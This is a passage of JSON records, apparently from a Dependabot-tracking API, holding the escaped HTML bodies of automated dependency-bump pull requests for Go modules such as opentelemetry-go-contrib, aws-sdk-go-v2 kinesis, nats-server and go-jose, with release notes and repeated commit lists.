href=\"https://redirect.github.com/open-telemetry/opentelemetry-go-contrib/issues/8442\"\u003e#8442\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eChanged\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003eUpgrade \u003ccode\u003ego.opentelemetry.io/otel/semconv\u003c/code\u003e to \u003ccode\u003ev1.40.0\u003c/code\u003e, including updates across instrumentation and detector modules. (\u003ca href=\"https://redirect.github.com/open-telemetry/opentelemetry-go-contrib/issues/8631\"\u003e#8631\u003c/a\u003e)\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eThe semantic conventions v1.40.0 release introduces RPC breaking changes applied in this repository:\n\u003cul\u003e\n\u003cli\u003eRPC spans and metrics no longer include \u003ccode\u003enetwork.protocol.name\u003c/code\u003e, \u003ccode\u003enetwork.protocol.version\u003c/code\u003e, or \u003ccode\u003enetwork.transport\u003c/code\u003e attributes.\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003erpc.client.request.size\u003c/code\u003e, \u003ccode\u003erpc.client.response.size\u003c/code\u003e, \u003ccode\u003erpc.server.request.size\u003c/code\u003e, and \u003ccode\u003erpc.server.response.size\u003c/code\u003e are no longer emitted in \u003ccode\u003ego.opentelemetry.io/contrib/instrumentation/google.golang.org/grpc/otelgrpc\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003erpc.message\u003c/code\u003e span events and their message attributes are no longer emitted in \u003ccode\u003ego.opentelemetry.io/contrib/instrumentation/google.golang.org/grpc/otelgrpc\u003c/code\u003e (including when \u003ccode\u003eWithMessageEvents\u003c/code\u003e is configured).\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eSee \u003ca href=\"https://github.com/open-telemetry/semantic-conventions/releases/tag/v1.40.0\"\u003esemantic-conventions v1.40.0 release\u003c/a\u003e for complete details.\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/open-telemetry/opentelemetry-go-contrib/commit/45977a4b9cf4a60effd1ee07367043f7e9bcae66\"\u003e\u003ccode\u003e45977a4\u003c/code\u003e\u003c/a\u003e Release v1.43.0/v2.5.0/v0.68.0/v0.37.0/v0.23.0/v0.18.0/v0.16.0/v0.15.0 (\u003ca href=\"https://redirect.github.com/open-telemetry/opentelemetry-go-contrib/issues/8769\"\u003e#8769\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/open-telemetry/opentelemetry-go-contrib/commit/0fcc1524d1a740b3632db418f73236d29536f119\"\u003e\u003ccode\u003e0fcc152\u003c/code\u003e\u003c/a\u003e fix(deps): update module github.com/googlecloudplatform/opentelemetry-operati...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/open-telemetry/opentelemetry-go-contrib/commit/eaba3cdaa1559cc7425644e21a389f227e30dc86\"\u003e\u003ccode\u003eeaba3cd\u003c/code\u003e\u003c/a\u003e chore(deps): update googleapis to 6f92a3b (\u003ca href=\"https://redirect.github.com/open-telemetry/opentelemetry-go-contrib/issues/8776\"\u003e#8776\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/open-telemetry/opentelemetry-go-contrib/commit/6df430c48045ad1221f203c01f6656367dd46fd1\"\u003e\u003ccode\u003e6df430c\u003c/code\u003e\u003c/a\u003e chore(deps): update module github.com/jgautheron/goconst to v1.10.0 (\u003ca href=\"https://redirect.github.com/open-telemetry/opentelemetry-go-contrib/issues/8771\"\u003e#8771\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/open-telemetry/opentelemetry-go-contrib/commit/ae90e3237e8d8f14bc3f181e1f82feb1686604f0\"\u003e\u003ccode\u003eae90e32\u003c/code\u003e\u003c/a\u003e Fix otelconf prometheus label escaping (\u003ca href=\"https://redirect.github.com/open-telemetry/opentelemetry-go-contrib/issues/8763\"\u003e#8763\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/open-telemetry/opentelemetry-go-contrib/commit/f202c3f8000fe3e681621808b5e316fe4749850a\"\u003e\u003ccode\u003ef202c3f\u003c/code\u003e\u003c/a\u003e otelconf: move experimental types to otelconf/x (\u003ca href=\"https://redirect.github.com/open-telemetry/opentelemetry-go-contrib/issues/8529\"\u003e#8529\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/open-telemetry/opentelemetry-go-contrib/commit/8ddaecee1cc531ae753d4812842745bdfb805208\"\u003e\u003ccode\u003e8ddaece\u003c/code\u003e\u003c/a\u003e fix(deps): update aws-sdk-go-v2 monorepo (\u003ca href=\"https://redirect.github.com/open-telemetry/opentelemetry-go-contrib/issues/8764\"\u003e#8764\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/open-telemetry/opentelemetry-go-contrib/commit/c7c03a47d4cf7252728b11efd78e2159b437dbd2\"\u003e\u003ccode\u003ec7c03a4\u003c/code\u003e\u003c/a\u003e chore(deps): update module github.com/mattn/go-runewidth to v0.0.22 (\u003ca href=\"https://redirect.github.com/open-telemetry/opentelemetry-go-contrib/issues/8766\"\u003e#8766\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/open-telemetry/opentelemetry-go-contrib/commit/717a85a20313ac21712dd055ba2ede71205889e8\"\u003e\u003ccode\u003e717a85a\u003c/code\u003e\u003c/a\u003e envcar: normalize cached environment variable names (\u003ca href=\"https://redirect.github.com/open-telemetry/opentelemetry-go-contrib/issues/8761\"\u003e#8761\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/open-telemetry/opentelemetry-go-contrib/commit/ad990b6d55811953d06ec88720fa373931fa1a27\"\u003e\u003ccode\u003ead990b6\u003c/code\u003e\u003c/a\u003e fix(deps): update module github.com/aws/smithy-go to v1.24.3 (\u003ca href=\"https://redirect.github.com/open-telemetry/opentelemetry-go-contrib/issues/8765\"\u003e#8765\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/open-telemetry/opentelemetry-go-contrib/compare/zpages/v0.61.0...zpages/v0.68.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\n\nDependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`.\n\n[//]: # (dependabot-automerge-start)\n[//]: # (dependabot-automerge-end)\n\n---\n\n\u003cdetails\u003e\n\u003csummary\u003eDependabot commands and options\u003c/summary\u003e\n\u003cbr /\u003e\n\nYou can trigger Dependabot actions by commenting on this PR:\n- `@dependabot rebase` will rebase this PR\n- `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it\n- `@dependabot show \u003cdependency name\u003e ignore conditions` will show all of the ignore conditions of the specified dependency\n- `@dependabot ignore \u003cdependency name\u003e major version` will close this group update PR and stop Dependabot creating any more for the specific dependency's major version (unless you unignore this specific dependency's major version or upgrade to it yourself)\n- `@dependabot ignore \u003cdependency name\u003e minor version` will close this group update PR and stop Dependabot creating any more for the specific dependency's minor version (unless you unignore this specific dependency's minor version or upgrade to it yourself)\n- `@dependabot ignore \u003cdependency name\u003e` will close this group update PR and stop Dependabot creating any more for the specific dependency (unless you unignore this specific dependency or upgrade to it yourself)\n- `@dependabot unignore \u003cdependency name\u003e` will remove all of the ignore conditions of the specified dependency\n- `@dependabot unignore \u003cdependency name\u003e \u003cignore condition\u003e` will remove the ignore condition of the specified dependency and ignore conditions\n\n\n\u003c/details\u003e","html_url":"https://github.com/evalops/service-runtime/pull/131","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/evalops%2Fservice-runtime/issues/131","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/131/packages"}},{"old_version":"2.12.4","new_version":"2.12.6","update_type":"patch","path":null,"pr_created_at":"2026-04-08T01:44:16.000Z","version_change":"2.12.4 → 2.12.6","issue":{"uuid":"4221549772","node_id":"PR_kwDOOMD05s7QqpKQ","number":100,"state":"open","title":"build(deps): bump the go_modules group across 4 directories with 3 updates","user":"dependabot[bot]","labels":["dependencies","go"],"assignees":[],"locked":false,"comments_count":6,"pull_request":true,"closed_at":null,"author_association":null,"state_reason":null,"created_at":"2026-04-08T01:44:16.000Z","updated_at":"2026-05-29T00:23:42.000Z","time_to_close":null,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"build(deps): bump","group_name":"go_modules","update_count":3,"packages":[{"name":"github.com/aws/aws-sdk-go-v2/service/kinesis","old_version":"1.38.0","new_version":"1.43.5","repository_url":"https://github.com/aws/aws-sdk-go-v2"},{"name":"github.com/aws/aws-sdk-go-v2/service/kinesis","old_version":"1.38.0","new_version":"1.43.5","repository_url":"https://github.com/aws/aws-sdk-go-v2"},{"name":"github.com/aws/aws-sdk-go-v2/service/kinesis","old_version":"1.38.0","new_version":"1.43.5","repository_url":"https://github.com/aws/aws-sdk-go-v2"},{"name":"github.com/aws/aws-sdk-go-v2/service/kinesis","old_version":"1.38.0","new_version":"1.43.5","repository_url":"https://github.com/aws/aws-sdk-go-v2"},{"name":"github.com/aws/aws-sdk-go-v2/service/kinesis","old_version":"1.38.0","new_version":"1.43.5","repository_url":"https://github.com/aws/aws-sdk-go-v2"},{"name":"github.com/aws/aws-sdk-go-v2/service/kinesis","old_version":"1.38.0","new_version":"1.43.5","repository_url":"https://github.com/aws/aws-sdk-go-v2"},{"name":"github.com/aws/aws-sdk-go-v2/service/kinesis","old_version":"1.38.0","new_version":"1.43.5","repository_url":"https://github.com/aws/aws-sdk-go-v2"},{"name":"github.com/aws/aws-sdk-go-v2/service/kinesis","old_version":"1.38.0","new_version":"1.43.5","repository_url":"https://github.com/aws/aws-sdk-go-v2"},{"name":"github.com/aws/aws-sdk-go-v2/service/kinesis","old_version":"1.38.0","new_version":"1.43.5","repository_url":"https://github.com/aws/aws-sdk-go-v2"},{"name":"github.com/nats-io/nats-server/v2","old_version":"2.12.4","new_version":"2.12.6","repository_url":"https://github.com/nats-io/nats-server"},{"name":"github.com/go-jose/go-jose/v4","old_version":"4.1.3","new_version":"4.1.4","repository_url":"https://github.com/go-jose/go-jose"}],"path":null,"ecosystem":"go"},"body":"Bumps the go_modules group with 1 update in the /examples/multi-engine-eventbus directory: [github.com/aws/aws-sdk-go-v2/service/kinesis](https://github.com/aws/aws-sdk-go-v2).\nBumps the go_modules group with 1 update in the /examples/nats-eventbus directory: [github.com/aws/aws-sdk-go-v2/service/kinesis](https://github.com/aws/aws-sdk-go-v2).\nBumps the go_modules group with 2 updates in the /modules/eventbus directory: [github.com/aws/aws-sdk-go-v2/service/kinesis](https://github.com/aws/aws-sdk-go-v2) and [github.com/nats-io/nats-server/v2](https://github.com/nats-io/nats-server).\nBumps the go_modules group with 1 update in the /modules/letsencrypt directory: [github.com/go-jose/go-jose/v4](https://github.com/go-jose/go-jose).\n\nUpdates `github.com/aws/aws-sdk-go-v2/service/kinesis` from 1.38.0 to 1.43.5\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-go-v2/commit/f9f7a6bb124a1a7daffc65db40053d97678bd371\"\u003e\u003ccode\u003ef9f7a6b\u003c/code\u003e\u003c/a\u003e Release 2025-07-19\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-go-v2/commit/c74fb637eb68925187407dfe105ba10d855cecd2\"\u003e\u003ccode\u003ec74fb63\u003c/code\u003e\u003c/a\u003e Regenerated Clients\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-go-v2/commit/d09b46671d6af69a0e1e808c953e5db4a0e5790c\"\u003e\u003ccode\u003ed09b466\u003c/code\u003e\u003c/a\u003e generate aws-eusc (\u003ca href=\"https://redirect.github.com/aws/aws-sdk-go-v2/issues/3144\"\u003e#3144\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-go-v2/commit/45575dd69588782d4a0944c7b3911018613d67c7\"\u003e\u003ccode\u003e45575dd\u003c/code\u003e\u003c/a\u003e Release 2025-07-18\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-go-v2/commit/40f9e8b889dbda9e80b651bd55ea13a99d75d6cc\"\u003e\u003ccode\u003e40f9e8b\u003c/code\u003e\u003c/a\u003e Regenerated Clients\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-go-v2/commit/da30009f1debd56e812c58845b0a3ee4e6e1fb58\"\u003e\u003ccode\u003eda30009\u003c/code\u003e\u003c/a\u003e Update endpoints model\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-go-v2/commit/78fe67fa8c7f08f490e1e04bbe3ce609bfc66fe6\"\u003e\u003ccode\u003e78fe67f\u003c/code\u003e\u003c/a\u003e Update API model\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-go-v2/commit/654c62d6b16cfa75aba17f6f2feb7d91d627186a\"\u003e\u003ccode\u003e654c62d\u003c/code\u003e\u003c/a\u003e Release 2025-07-17\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-go-v2/commit/47a74cd2a3a4464fbb1273db6ede81d2bb72bb1d\"\u003e\u003ccode\u003e47a74cd\u003c/code\u003e\u003c/a\u003e Regenerated Clients\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-go-v2/commit/bdd96b2ea29e4a7c96d0dbe1dc1a039bf85d090c\"\u003e\u003ccode\u003ebdd96b2\u003c/code\u003e\u003c/a\u003e Update endpoints model\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/aws/aws-sdk-go-v2/compare/v1.38.0...service/ivs/v1.43.5\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `github.com/aws/aws-sdk-go-v2/service/kinesis` from 1.38.0 to 1.43.5\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-go-v2/commit/f9f7a6bb124a1a7daffc65db40053d97678bd371\"\u003e\u003ccode\u003ef9f7a6b\u003c/code\u003e\u003c/a\u003e Release 2025-07-19\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-go-v2/commit/c74fb637eb68925187407dfe105ba10d855cecd2\"\u003e\u003ccode\u003ec74fb63\u003c/code\u003e\u003c/a\u003e Regenerated Clients\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-go-v2/commit/d09b46671d6af69a0e1e808c953e5db4a0e5790c\"\u003e\u003ccode\u003ed09b466\u003c/code\u003e\u003c/a\u003e generate aws-eusc (\u003ca href=\"https://redirect.github.com/aws/aws-sdk-go-v2/issues/3144\"\u003e#3144\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-go-v2/commit/45575dd69588782d4a0944c7b3911018613d67c7\"\u003e\u003ccode\u003e45575dd\u003c/code\u003e\u003c/a\u003e Release 2025-07-18\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-go-v2/commit/40f9e8b889dbda9e80b651bd55ea13a99d75d6cc\"\u003e\u003ccode\u003e40f9e8b\u003c/code\u003e\u003c/a\u003e Regenerated Clients\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-go-v2/commit/da30009f1debd56e812c58845b0a3ee4e6e1fb58\"\u003e\u003ccode\u003eda30009\u003c/code\u003e\u003c/a\u003e Update endpoints model\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-go-v2/commit/78fe67fa8c7f08f490e1e04bbe3ce609bfc66fe6\"\u003e\u003ccode\u003e78fe67f\u003c/code\u003e\u003c/a\u003e Update API model\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-go-v2/commit/654c62d6b16cfa75aba17f6f2feb7d91d627186a\"\u003e\u003ccode\u003e654c62d\u003c/code\u003e\u003c/a\u003e Release 2025-07-17\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-go-v2/commit/47a74cd2a3a4464fbb1273db6ede81d2bb72bb1d\"\u003e\u003ccode\u003e47a74cd\u003c/code\u003e\u003c/a\u003e Regenerated Clients\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-go-v2/commit/bdd96b2ea29e4a7c96d0dbe1dc1a039bf85d090c\"\u003e\u003ccode\u003ebdd96b2\u003c/code\u003e\u003c/a\u003e Update endpoints model\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/aws/aws-sdk-go-v2/compare/v1.38.0...service/ivs/v1.43.5\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `github.com/aws/aws-sdk-go-v2/service/kinesis` from 1.38.0 to 1.43.5\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-go-v2/commit/f9f7a6bb124a1a7daffc65db40053d97678bd371\"\u003e\u003ccode\u003ef9f7a6b\u003c/code\u003e\u003c/a\u003e Release 2025-07-19\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-go-v2/commit/c74fb637eb68925187407dfe105ba10d855cecd2\"\u003e\u003ccode\u003ec74fb63\u003c/code\u003e\u003c/a\u003e Regenerated Clients\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-go-v2/commit/d09b46671d6af69a0e1e808c953e5db4a0e5790c\"\u003e\u003ccode\u003ed09b466\u003c/code\u003e\u003c/a\u003e generate aws-eusc (\u003ca href=\"https://redirect.github.com/aws/aws-sdk-go-v2/issues/3144\"\u003e#3144\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-go-v2/commit/45575dd69588782d4a0944c7b3911018613d67c7\"\u003e\u003ccode\u003e45575dd\u003c/code\u003e\u003c/a\u003e Release 2025-07-18\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-go-v2/commit/40f9e8b889dbda9e80b651bd55ea13a99d75d6cc\"\u003e\u003ccode\u003e40f9e8b\u003c/code\u003e\u003c/a\u003e Regenerated Clients\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-go-v2/commit/da30009f1debd56e812c58845b0a3ee4e6e1fb58\"\u003e\u003ccode\u003eda30009\u003c/code\u003e\u003c/a\u003e Update endpoints model\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-go-v2/commit/78fe67fa8c7f08f490e1e04bbe3ce609bfc66fe6\"\u003e\u003ccode\u003e78fe67f\u003c/code\u003e\u003c/a\u003e Update API model\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-go-v2/commit/654c62d6b16cfa75aba17f6f2feb7d91d627186a\"\u003e\u003ccode\u003e654c62d\u003c/code\u003e\u003c/a\u003e Release 2025-07-17\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-go-v2/commit/47a74cd2a3a4464fbb1273db6ede81d2bb72bb1d\"\u003e\u003ccode\u003e47a74cd\u003c/code\u003e\u003c/a\u003e Regenerated Clients\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-go-v2/commit/bdd96b2ea29e4a7c96d0dbe1dc1a039bf85d090c\"\u003e\u003ccode\u003ebdd96b2\u003c/code\u003e\u003c/a\u003e Update endpoints model\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/aws/aws-sdk-go-v2/compare/v1.38.0...service/ivs/v1.43.5\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `github.com/aws/aws-sdk-go-v2/service/kinesis` from 1.38.0 to 1.43.5\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-go-v2/commit/f9f7a6bb124a1a7daffc65db40053d97678bd371\"\u003e\u003ccode\u003ef9f7a6b\u003c/code\u003e\u003c/a\u003e Release 2025-07-19\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-go-v2/commit/c74fb637eb68925187407dfe105ba10d855cecd2\"\u003e\u003ccode\u003ec74fb63\u003c/code\u003e\u003c/a\u003e Regenerated Clients\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-go-v2/commit/d09b46671d6af69a0e1e808c953e5db4a0e5790c\"\u003e\u003ccode\u003ed09b466\u003c/code\u003e\u003c/a\u003e generate aws-eusc (\u003ca href=\"https://redirect.github.com/aws/aws-sdk-go-v2/issues/3144\"\u003e#3144\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-go-v2/commit/45575dd69588782d4a0944c7b3911018613d67c7\"\u003e\u003ccode\u003e45575dd\u003c/code\u003e\u003c/a\u003e Release 2025-07-18\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-go-v2/commit/40f9e8b889dbda9e80b651bd55ea13a99d75d6cc\"\u003e\u003ccode\u003e40f9e8b\u003c/code\u003e\u003c/a\u003e Regenerated Clients\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-go-v2/commit/da30009f1debd56e812c58845b0a3ee4e6e1fb58\"\u003e\u003ccode\u003eda30009\u003c/code\u003e\u003c/a\u003e Update endpoints model\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-go-v2/commit/78fe67fa8c7f08f490e1e04bbe3ce609bfc66fe6\"\u003e\u003ccode\u003e78fe67f\u003c/code\u003e\u003c/a\u003e Update API model\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-go-v2/commit/654c62d6b16cfa75aba17f6f2feb7d91d627186a\"\u003e\u003ccode\u003e654c62d\u003c/code\u003e\u003c/a\u003e Release 2025-07-17\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-go-v2/commit/47a74cd2a3a4464fbb1273db6ede81d2bb72bb1d\"\u003e\u003ccode\u003e47a74cd\u003c/code\u003e\u003c/a\u003e Regenerated Clients\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-go-v2/commit/bdd96b2ea29e4a7c96d0dbe1dc1a039bf85d090c\"\u003e\u003ccode\u003ebdd96b2\u003c/code\u003e\u003c/a\u003e Update endpoints model\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/aws/aws-sdk-go-v2/compare/v1.38.0...service/ivs/v1.43.5\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `github.com/aws/aws-sdk-go-v2/service/kinesis` from 1.38.0 to 1.43.5\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-go-v2/commit/f9f7a6bb124a1a7daffc65db40053d97678bd371\"\u003e\u003ccode\u003ef9f7a6b\u003c/code\u003e\u003c/a\u003e Release 2025-07-19\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-go-v2/commit/c74fb637eb68925187407dfe105ba10d855cecd2\"\u003e\u003ccode\u003ec74fb63\u003c/code\u003e\u003c/a\u003e Regenerated Clients\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-go-v2/commit/d09b46671d6af69a0e1e808c953e5db4a0e5790c\"\u003e\u003ccode\u003ed09b466\u003c/code\u003e\u003c/a\u003e generate aws-eusc (\u003ca href=\"https://redirect.github.com/aws/aws-sdk-go-v2/issues/3144\"\u003e#3144\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-go-v2/commit/45575dd69588782d4a0944c7b3911018613d67c7\"\u003e\u003ccode\u003e45575dd\u003c/code\u003e\u003c/a\u003e Release 2025-07-18\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-go-v2/commit/40f9e8b889dbda9e80b651bd55ea13a99d75d6cc\"\u003e\u003ccode\u003e40f9e8b\u003c/code\u003e\u003c/a\u003e Regenerated Clients\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-go-v2/commit/da30009f1debd56e812c58845b0a3ee4e6e1fb58\"\u003e\u003ccode\u003eda30009\u003c/code\u003e\u003c/a\u003e Update endpoints model\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-go-v2/commit/78fe67fa8c7f08f490e1e04bbe3ce609bfc66fe6\"\u003e\u003ccode\u003e78fe67f\u003c/code\u003e\u003c/a\u003e Update API model\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-go-v2/commit/654c62d6b16cfa75aba17f6f2feb7d91d627186a\"\u003e\u003ccode\u003e654c62d\u003c/code\u003e\u003c/a\u003e Release 2025-07-17\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-go-v2/commit/47a74cd2a3a4464fbb1273db6ede81d2bb72bb1d\"\u003e\u003ccode\u003e47a74cd\u003c/code\u003e\u003c/a\u003e Regenerated Clients\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-go-v2/commit/bdd96b2ea29e4a7c96d0dbe1dc1a039bf85d090c\"\u003e\u003ccode\u003ebdd96b2\u003c/code\u003e\u003c/a\u003e Update endpoints model\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/aws/aws-sdk-go-v2/compare/v1.38.0...service/ivs/v1.43.5\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `github.com/aws/aws-sdk-go-v2/service/kinesis` from 1.38.0 to 1.43.5\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-go-v2/commit/f9f7a6bb124a1a7daffc65db40053d97678bd371\"\u003e\u003ccode\u003ef9f7a6b\u003c/code\u003e\u003c/a\u003e Release 2025-07-19\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-go-v2/commit/c74fb637eb68925187407dfe105ba10d855cecd2\"\u003e\u003ccode\u003ec74fb63\u003c/code\u003e\u003c/a\u003e Regenerated Clients\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-go-v2/commit/d09b46671d6af69a0e1e808c953e5db4a0e5790c\"\u003e\u003ccode\u003ed09b466\u003c/code\u003e\u003c/a\u003e generate aws-eusc (\u003ca href=\"https://redirect.github.com/aws/aws-sdk-go-v2/issues/3144\"\u003e#3144\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-go-v2/commit/45575dd69588782d4a0944c7b3911018613d67c7\"\u003e\u003ccode\u003e45575dd\u003c/code\u003e\u003c/a\u003e Release 2025-07-18\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-go-v2/commit/40f9e8b889dbda9e80b651bd55ea13a99d75d6cc\"\u003e\u003ccode\u003e40f9e8b\u003c/code\u003e\u003c/a\u003e Regenerated Clients\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-go-v2/commit/da30009f1debd56e812c58845b0a3ee4e6e1fb58\"\u003e\u003ccode\u003eda30009\u003c/code\u003e\u003c/a\u003e Update endpoints model\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-go-v2/commit/78fe67fa8c7f08f490e1e04bbe3ce609bfc66fe6\"\u003e\u003ccode\u003e78fe67f\u003c/code\u003e\u003c/a\u003e Update API model\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-go-v2/commit/654c62d6b16cfa75aba17f6f2feb7d91d627186a\"\u003e\u003ccode\u003e654c62d\u003c/code\u003e\u003c/a\u003e Release 2025-07-17\u003c/li\u003e\n\u003cli\u003e\u003ca 